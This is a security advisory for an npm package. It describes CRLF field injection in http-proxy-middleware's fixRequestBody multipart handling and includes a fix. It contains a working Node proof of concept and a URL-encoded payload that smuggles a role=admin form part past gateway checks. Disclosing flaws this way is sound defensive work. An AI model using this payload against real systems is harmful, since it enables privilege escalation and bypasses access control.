CVE-2026-55603: http-proxy-middleware Multipart/form-data Field Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gcq2-9pq2-cxqm",
  "modified" : "2026-06-18T13:06:21Z",
  "published" : "2026-06-18T13:06:21Z",
  "aliases" : [ "CVE-2026-55603" ],
  "summary" : "http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`",
  "details" : "## Summary\n`fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n  }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n> Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from 'http-proxy-middleware';\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:\nconst req = { readableLength: 0, body: {\n  user: 'alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--'\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n  h: { 'content-type': 'multipart/form-data; boundary=BB' },\n  getHeader(n){ return this.h[n.toLowerCase()]; },\n  setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n  write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req);          // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\"     <-- injected part; never present in req.body's keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  const bad = /[\\r\\n]/;\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    const v = String(value);\n    if (bad.test(key) || bad.test(v)) {\n      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');\n    }\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, '%22')}\"\\r\\n\\r\\n${v}\\r\\n`;\n  }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "http-proxy-middleware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.4"
      }, {
        "fixed" : "3.0.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "http-proxy-middleware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.1.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/chimurai/http-proxy-middleware"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-93" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:06:21Z",
    "nvd_published_at" : null
  }
}